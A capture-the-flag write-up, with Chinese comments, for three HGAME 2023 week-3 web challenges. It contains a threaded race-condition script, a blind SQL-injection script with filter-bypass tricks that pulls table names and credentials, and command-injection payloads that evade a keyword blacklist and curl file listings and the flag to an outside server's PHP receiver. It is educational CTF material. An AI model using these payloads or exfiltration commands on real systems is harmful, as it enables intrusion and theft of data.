Week3

Gopher Shop

- 条件竞争，导致漏了一个请求，一个苹果卖了二次，溢出

```python
import threading
import requests
import json
import time


def worker(i, data):
    if i % 2 == 0:
        url = "http://week-3.hgame.lwsec.cn:32428/api/v1/user/sellProduct?product=Apple&number=2000000000000000000"
    else:
        url = "http://week-3.hgame.lwsec.cn:32428/api/v1/user/buyProduct?product=Apple&number=2000000000000000000"
    try:
        requests.get(url=url,headers=header)
    except:
        print("请求失败")
    return
host = "http://week-3.hgame.lwsec.cn:32428"
header= {
    "Cookie": "session=MTY3NDQ4OTkyOHxEdi1CQkFFQ180SUFBUkFCRUFBQUpmLUNBQUVHYzNSeWFXNW5EQW9BQ0hWelpYSnVZVzFsQm5OMGNtbHVad3dGQUFNMWRXVT18uglM-LaBujGix20oH74WqCyN2lxSe2eUM0rAbTKCTYE="
}
i = 1
while True:
    info = json.loads(requests.get(url="{}/api/v1/user/info".format(host),headers=header).text)
    print(info)
    for j in range(30):
        t = threading.Thread(target=worker, args=(i, data))
        t.start()
    time.sleep(5)
    i += 1
```

Login To Get My Gift

- 黑名单

```
substr mid = like
```

```
import string

import requests
url = "http://week-3.hgame.lwsec.cn:30593/login/"

ans = ""
# payload = "database()" # l0g1nme
# payload = "version()" 8
# payload = "selecT/**/group_concat(table_name)/**/frOm/**/infoRmAtion_schema.tables" # User1nf0mAt1on
# payload = "selecT/**/group_concat(column_name)/**/frOm/**/infoRmAtion_schema.columns/**/where/**/table_name/**/regexp/**/'User1nf0mAt1on'" # id,usern4me,passw0rd

payload = "selecT/*1*/group_concat(usern4me)/*1*/frOm/*1*/User1nf0mAt1on" # hgame2023happynewyear,te
# payload = "selecT/*1*/group_concat(passw0rd)/*1*/frOm/*1*/User1nf0mAt1on/**/where/**/usern4me/**/regexp/**/'testuser'" # welc0met0hgame2023happysql

pw_fuzz = string.ascii_uppercase+string.ascii_lowercase + string.digits + "_" +",." # 密码字典：小写字母和数字还有下划线
# pw_fuzz = string.printable
pw = ""  # admin的密码
#
while True:
    for i in range(1,50):
        for j in pw_fuzz:
            data = {
                'username': "testuser",
                # 'password': f"1'or/**/left(({payload}),{i})regexp/**/'^{pw + j}"
```

```
              # hex <> 区分大小写
                'password':
f"1'or/**/if(hex(left((selecT/*1*/group_concat(usern4me)/*1*/frOm/*1*/User1nf0mAt1on),{i}))<>hex('{pw+j}'),'b','a')regexp'^a"
            }
            print(data)
            res = requests.post(url=url, data=data).text
            # print(res)
            if "Success" in res:
                pw = pw + j
                print(pw)
```

Ping To The Host

- 黑名单

```
; 空格 sh echo shell cat > <
```

vps上加record.php

```
<!-- record.php -->
<?php
$data =$_GET['data'];
$f = fopen("/var/www/html/record.txt", "w");
$res = fwrite($f,$data);
var_dump($res);
fclose($f);
show_source(__FILE__);
```

```
ip=127.0.0.1|curl${IFS}118.178.126.49/record.php?data=`ls${IFS}/|base64`
```

```
ip=127.0.0.1|curl${IFS}118.178.126.49/record.php?data=`ca$*t${IFS}/f*|base64`
```